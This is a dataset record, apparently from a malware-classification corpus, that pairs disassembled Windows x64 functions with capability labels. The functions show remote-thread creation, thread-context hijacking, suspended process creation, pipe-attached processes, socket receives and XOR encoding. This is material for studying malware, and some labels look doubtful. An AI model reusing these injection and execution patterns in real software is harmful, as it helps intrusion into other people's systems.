joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ceaff
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x14019d3a0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14019ccf0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14019d3e9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140305020]
jmp 0x14019d3f8
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x1400ceb81
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140100d10
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x14030417f]
call fcn.1400cf004
mov eax, dword [rbp + 0x180]
sub eax, 4
cmp eax, dword [rbp + 0x198]
jbe 0x140100d55
xor eax, eax
jmp 0x140100dee
mov eax, dword [rbp + 0x180]
sub eax, 4
mov dword [rbp + 4], eax
mov dword [rbp + 0x24], 0
cmp dword [rbp + 4], 0
jne 0x140100d73
mov eax, dword [rbp + 4]
jmp 0x140100dee
mov rax, qword [rbp + 0x188]
add rax, 4
sub rax, qword [rbp + 0x190]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x190]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x44]
mov ecx, dword [rbp + 0x24]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rbp + 0x190]
movsx eax, byte [rcx + rax]
mov ecx, dword [rbp + 0x24]
and ecx, 3
mov ecx, ecx
mov rdx, qword [rbp + 0x188]
movsx ecx, byte [rdx + rcx]
xor eax, ecx
mov byte [rbp + 0x84], al
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x68]
movzx ecx, byte [rbp + 0x84]
mov byte [rax], cl
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x24], eax
jb 0x140100d88
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400cebe0
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x140104360
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, WSACleanup
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x14030419b]
call fcn.1400cf004
cmp dword [0x1402e0c7c], 1
je 0x140104438
lea rdx, [rbp + 0x10]
mov cx, 0x202
call fcn.1400cc7a5
test eax, eax
jge 0x1401043ca
call fcn.1400cbda0
mov ecx, 1
call fcn.1400c9744
mov dword [0x1402e0c7c], 1
mov ecx, shutdown
call fcn.1400cf4be
mov dword [0x1402e1c80], eax
mov ecx, reloc.WS2_32.dll_send
call fcn.1400cf4be
mov dword [0x1402e1c84], eax
mov ecx, 0x3d
call fcn.1400cbaee
mov qword [0x1402e1c88], rax
mov ecx, 0x3e
call fcn.1400cbaee
mov qword [0x1402e1c90], rax
mov ecx, 0x3f
call fcn.1400cbaee
mov qword [0x1402e1c98], rax
mov ecx, 0x42
call fcn.1400cbaee
mov qword [0x1402e1ca0], rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret

Function at 0x1400cec3a
Capabilities:
Set environment variable

Disassembly:
jmp 0x140257a40
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xa8
lea rcx, [rsp + 0x70]
call fcn.1400cb350
lea rcx, [rsp + 0x40]
call fcn.1400cb350
call fcn.1400cc363
mov r8d, eax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0xb0]
call fcn.1400cafef
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140257aaf
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x40]
call fcn.1400cb99f
lea rcx, [rsp + 0x70]
call fcn.1400cb99f
mov eax, dword [rsp + 0x24]
jmp 0x140257b3c
call fcn.1400cc363
mov r8d, eax
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0xb8]
call fcn.1400cafef
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140257af6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x40]
call fcn.1400cb99f
lea rcx, [rsp + 0x70]
call fcn.1400cb99f
mov eax, dword [rsp + 0x2c]
jmp 0x140257b3c
lea rcx, [rsp + 0x40]
call fcn.1400cb25b
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x70]
call fcn.1400cb25b
mov rcx, qword [rsp + 0x38]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x40]
call fcn.1400cb99f
lea rcx, [rsp + 0x70]
call fcn.1400cb99f
mov eax, dword [rsp + 0x30]
add rsp, 0xa8
ret
Function at 0x1400cec8f
Capabilities:
Check http status code

Disassembly:
jmp 0x140105730
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x278]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14030419b]
call fcn.1400cf004
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rbp + 0x144], 0x100
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x144]
lea r8, [rbp + 0x30]
mov edx, reloc.WS2_32.dll_send
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1401057f1
lea rcx, [rbp + 0x30]
call fcn.1400c9f9b
cmp eax, 0xc8
jne 0x1401057de
mov dword [rbp + 0x214], 1
jmp 0x1401057e8
mov dword [rbp + 0x214], 0
mov eax, dword [rbp + 0x214]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_bind
call fcn.1400cdefc
mov eax, edi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret

Function at 0x1400cecd5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140262910
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
sub rsp, 0x48
movzx eax, word [rsp + 0x58]
movd xmm0, eax
movdqa xmmword [rsp + 0x20], xmm0
pshuflw xmm0, xmmword [rsp + 0x20], 0
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [rsp + 0x20]
pshufd xmm0, xmm0, 0
movdqa xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0x50]
and rax, 0xfff
cmp rax, 0xff0
ja 0x140262a21
mov rax, qword [rsp + 0x50]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pxor xmm0, xmmword [rsp + 0x10]
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pcmpeqw xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x30]
pcmpeqw xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
por xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pmovmskb eax, xmm0
mov dword [rsp], eax
cmp dword [rsp], 0
je 0x140262a11
mov eax, dword [rsp]
bsf eax, eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
add rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x58]
cmp eax, ecx
jne 0x140262a01
mov rax, qword [rsp + 0x50]
mov qword [rsp + 8], rax
jmp 0x140262a0a
mov qword [rsp + 8], 0
mov rax, qword [rsp + 8]
jmp 0x140262a5c
mov rax, qword [rsp + 0x50]
add rax, 0x10
mov qword [rsp + 0x50], rax
jmp 0x140262a57
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x58]
cmp eax, ecx
jne 0x140262a39
mov rax, qword [rsp + 0x50]
jmp 0x140262a5c
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
test eax, eax
jne 0x140262a49
xor eax, eax
jmp 0x140262a5c
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
jmp 0x14026294b
add rsp, 0x48
ret
Function at 0x1400cef28
Capabilities:
Create pipe

Disassembly:
jmp 0x1400de7c0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
lea rcx, [0x14030404c]
call fcn.1400cf004
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rbp + 0x40], 0
mov dword [rbp + 0x38], 0x18
mov dword [rbp + 0x48], 1
mov r9d, 0x100000
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [rbp + 0xb0], WSAGetLastError
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [rbp + 0xf0], ax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x110], rax
mov dword [rbp + 0xec], 0x101
mov qword [rbp + 0x100], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 8]
lea r8, [rbp + 0xb0]
mov edx, dword [rbp + 0x218]
mov rcx, qword [rbp + 0x210]
call fcn.1400cb4ae
test eax, eax
je 0x1400de90b
mov edx, 0x2710
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rax, str.process
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x1c]
mov r8d, dword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
call fcn.1400cbf5d
mov dword [rax + 0x40], 0x1e
lea rcx, [rbp - 0x40]
lea rdx, [0x140275d40]
call fcn.1400cdefc
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret

Function at 0x1400cefc3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140235158
jmp fcn.1400cecd5

Function at 0x1400cf121
Capabilities:
Resume thread

Disassembly:
jmp 0x1400fb5b0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x758
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x778]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x728], rax
lea rcx, [0x140304143]
call fcn.1400cf004
mov dword [rbp + 0x40], 0x100002
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x750]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400fb623
xor eax, eax
jmp 0x1400fb686
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x750]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400fb658
xor eax, eax
jmp 0x1400fb686
mov rcx, qword [rbp + 0x750]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1400fb676
mov dword [rbp + 0x724], 1
jmp 0x1400fb680
mov dword [rbp + 0x724], 0
mov eax, dword [rbp + 0x724]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x728]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret
Function at 0x1400cf16c
Capabilities:
Create process on windows

Disassembly:
jmp 0x1400e0000
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x60]
lea rcx, [0x14030404c]
call fcn.1400cf004
cmp qword [0x1402dce90], 0
je 0x1400e003a
mov rax, qword [rbp + 0x120]
cmp dword [rax + 0x20], 0
je 0x1400e00ca
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rax, qword [rbp + 0x120]
mov rdx, qword [rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400e00c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x120]
mov r8, qword [rax]
mov edx, dword [rbp + 4]
mov ecx, gethostbyname
call fcn.1400ca28e
xor eax, eax
jmp 0x1400e017f
jmp 0x1400e017a
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rax, qword [rbp + 0x120]
mov r8, qword [rax]
xor edx, edx
mov rcx, qword [0x1402dce90]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x1400e017a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x1400e0156
mov rcx, qword [rbp + 0x120]
call fcn.1400ccccd
jmp 0x1400e017f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x120]
mov r8, qword [rax]
mov edx, dword [rbp + 0x24]
mov ecx, 0x29
call fcn.1400ca28e
xor eax, eax
jmp 0x1400e017f
mov eax, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400cf379
Capabilities:
Create process on windows
Create process suspended

Disassembly:
jmp 0x1400df940
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x258], rax
lea rcx, [0x14030404c]
call fcn.1400cf004
mov rax, qword [rbp + 0x280]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0x280]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x290]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x288]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
mov r8, qword [0x1402e2db8]
mov rdx, qword [0x1402e2db0]
mov rcx, qword [0x1402e2da8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x1400dfa1a
mov eax, 1
jmp 0x1400dfb6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x1400dfa4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x280]
mov r8, qword [rax]
mov edx, dword [rbp + 4]
mov ecx, 0x45
call fcn.1400ca28e
xor eax, eax
jmp 0x1400dfb6e
mov rax, qword [rbp + 0x280]
mov rcx, qword [rax]
call fcn.1400cbb43
cmp rax, 0x100
jb 0x1400dfa8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x280]
mov r8, qword [rax]
mov edx, dword [rbp + 0x24]
mov ecx, 0x45
call fcn.1400ca28e
xor eax, eax
jmp 0x1400dfb6e
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rdx, str.sysnative
mov rax, qword [rbp + 0x280]
mov rcx, qword [rax]
call fcn.1400cbbe8
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
je 0x1400dfb46
mov r8d, 0x100
xor edx, edx
lea rcx, [rbp + 0x50]
call fcn.1400cd75e
mov r8d, 8
lea rdx, str.system32
mov rcx, qword [rbp + 0x168]
call fcn.1400cbec2
mov rax, qword [rbp + 0x168]
add rax, 9
mov qword [rbp + 0x168], rax
mov rcx, qword [rbp + 0x168]
call fcn.1400cbb43
mov r8, rax
mov rdx, qword [rbp + 0x168]
lea rcx, [rbp + 0x50]
call fcn.1400cbec2
mov rax, qword [rbp + 0x168]
dec rax
lea rdx, [rbp + 0x50]
mov rcx, rax
call fcn.1400cafd6
mov rcx, qword [rbp + 0x280]
call fcn.1400ccccd
jmp 0x1400dfb6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x184], eax
mov rax, qword [rbp + 0x280]
mov r8, qword [rax]
mov edx, dword [rbp + 0x184]
mov ecx, 0x45
call fcn.1400ca28e
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x258]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret
Function at 0x1400cf3d8
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x1400f72e0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1403040eb]
call fcn.1400cf004
cmp dword [rbp + 0x130], 0
jg 0x1400f7319
xor eax, eax
jmp 0x1400f73a6
mov dword [rbp + 4], 0
xor eax, eax
cmp eax, 1
je 0x1400f7384
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x130]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x120]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x128]
call fcn.1400cadb0
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
cmp dword [rbp + 0x24], 0xffffffff
jne 0x1400f7372
jmp 0x1400f7384
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 4], eax
jl 0x1400f7382
mov eax, dword [rbp + 4]
jmp 0x1400f73a6
jmp 0x1400f7320
mov edx, 2
mov rcx, qword [rbp + 0x128]
call fcn.1400c920d
mov rcx, qword [rbp + 0x128]
call fcn.1400ccd7c
mov eax, 0xffffffff
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400cf455
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x1400fcd50
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14030415e]
call fcn.1400cf004
mov dword [rbp + 4], 0
cmp dword [rbp + 0x120], 0
jg 0x1400fcda0
mov eax, dword [rbp + 0x120]
cmp dword [rbp + 4], eax
jne 0x1400fcd9e
mov eax, dword [rbp + 0x120]
jmp 0x1400fce1f
jmp 0x1400fce1a
xor eax, eax
cmp eax, 1
je 0x1400fce1a
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x120]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x130]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x128]
call fcn.1400cadb0
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0xffffffff
jne 0x1400fcde5
jmp 0x1400fce1a
cmp dword [rbp + 0x24], 0
je 0x1400fce05
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x120]
cmp dword [rbp + 4], eax
jge 0x1400fce05
jmp 0x1400fcda0
mov eax, dword [rbp + 0x120]
cmp dword [rbp + 4], eax
jne 0x1400fce18
mov eax, dword [rbp + 0x120]
jmp 0x1400fce1f
jmp 0x1400fcda0
mov eax, 0xffffffff
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400cf491
Capabilities:
Create thread
Resume thread

Disassembly:
jmp 0x1400fb2c0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x7b8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x14e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x7d8]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x768], rax
lea rcx, [0x140304143]
call fcn.1400cf004
mov qword [rbp + 8], 0
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rbp + 0x7b8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400fb34d
xor eax, eax
jmp 0x1400fb463
cmp dword [rbp + 0x790], 6
jne 0x1400fb392
movsxd rax, dword [rbp + 0x7c0]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, qword [rbp + 0x7a8]
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
jmp 0x1400fb3e9
cmp dword [rbp + 0x790], 7
je 0x1400fb3a2
xor eax, eax
jmp 0x1400fb463
movsxd rax, dword [rbp + 0x7c0]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov rcx, qword [rbp + 0x7a8]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x798]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400fb3f4
xor eax, eax
jmp 0x1400fb463
mov dword [rbp + 0x80], 0x10000b
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400fb414
xor eax, eax
jmp 0x1400fb463
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400fb438
xor eax, eax
jmp 0x1400fb463
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1400fb453
mov dword [rbp + 0x764], 1
jmp 0x1400fb45d
mov dword [rbp + 0x764], 0
mov eax, dword [rbp + 0x764]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x768]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x778]
pop rdi
pop rbp
ret
Function at 0x1400cf513
Capabilities:
Resume thread
Terminate process

Disassembly:
jmp 0x1400e01f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
lea rcx, [0x14030404c]
call fcn.1400cf004
mov rax, qword [rbp + 0x190]
mov eax, dword [rax + 0x20]
and eax, 4
test eax, eax
jne 0x1400e0250
lea rdx, [rbp + 8]
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax]
call fcn.1400c94ba
test eax, eax
jne 0x1400e0261
mov rcx, qword [rbp + 0x190]
call fcn.1400cf16c
jmp 0x1400e0318
mov rax, qword [rbp + 8]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x190]
mov eax, dword [rax + 0x20]
or eax, 4
mov rcx, qword [rbp + 0x190]
mov dword [rcx + 0x20], eax
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x38]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x190]
call fcn.1400cf16c
mov dword [rbp + 0x54], eax
lea rdx, [rbp + 8]
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x18]
call fcn.1400cb44a
test eax, eax
jne 0x1400e02c1
mov dword [rbp + 0x164], 1
jmp 0x1400e02cb
mov dword [rbp + 0x164], 0
mov eax, dword [rbp + 0x164]
mov dword [rbp + 0x74], eax
mov rax, qword [rbp + 0x190]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x98], rax
cmp dword [rbp + 0x74], 0
je 0x1400e0304
xor edx, edx
mov rax, qword [rbp + 0x98]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x1400e0318
mov rax, qword [rbp + 0x98]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [rbp + 0x54]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret